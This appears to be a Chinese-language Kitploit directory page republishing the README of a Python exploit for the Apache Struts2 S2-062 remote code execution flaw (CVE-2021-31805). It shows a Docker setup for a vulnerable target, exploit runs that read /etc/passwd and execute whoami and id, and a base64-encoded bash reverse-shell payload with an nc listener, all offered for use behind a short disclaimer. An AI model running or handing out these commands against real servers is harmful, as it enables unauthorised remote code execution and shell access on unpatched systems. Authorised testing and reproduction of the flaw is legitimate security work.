Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Struts2_S2-062_CVE-2021-31805 — Python exploit for Apache Struts2 S2-062 (CVE-2021-31805) remote code execution, with Docker-based reproduction environment and reverse shell payload generation. | Kitploit
工具/GitHubGitHub/secnn/struts2_s2-062_cve-2021-31805
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access Tool
GitHubsecnn/struts2_s2-062_cve-2021-31805

Struts2_S2-062_CVE-2021-31805

Python exploit for Apache Struts2 S2-062 (CVE-2021-31805) remote code execution, with Docker-based reproduction environment and reverse shell payload generation.

查看仓库
1154年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Struts2_S2-062_CVE-2021-31805

Apache Struts2 S2-062远程代码执行漏洞(CVE-2021-31805) | 反弹Shell

漏洞复现环境

docker-compose.yml

root@kitploit:~
version: '2'
services:
 struts2:
   image: vulhub/struts2:2.5.25
   ports:
    - "8080:8080"

拉取镜像启动环境

root@kitploit:~
docker-compose up -d

访问地址:http://1.1.1.1:8080

漏洞验证脚本

root@kitploit:~
python Struts2_S2-062_CVE-2021-31805.py http://1.1.1.1:8080/index.action "cat /etc/passwd"

passwd

root@kitploit:~
python Struts2_S2-062_CVE-2021-31805.py http://1.1.1.1:8080/index.action whoami

root

root@kitploit:~
python Struts2_S2-062_CVE-2021-31805.py http://1.1.1.1:8080/index.action id

id

反弹Shell

NC开启端口监听

root@kitploit:~
nc -lvvp 8081

NC

构造base64编码反弹shell脚本,利用如下网站生成:https://ir0ny.top/pentest/reverse-encoder-shell.html base64

获取Shell

root@kitploit:~
python CVE-2021-31805_Shell.py http://1.1.1.1:8080/index.action "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvODA4MCAwPiYx}|{base64,-d}|{bash,-i}"

shell

成功获取Shell

Shell_code

免责声明

请勿用于非法的用途,仅做安全测试,否则造成的后果与本项目无关。 注:要在正规授权情况下测试网站:日站不规范,亲人泪两行。

下载工具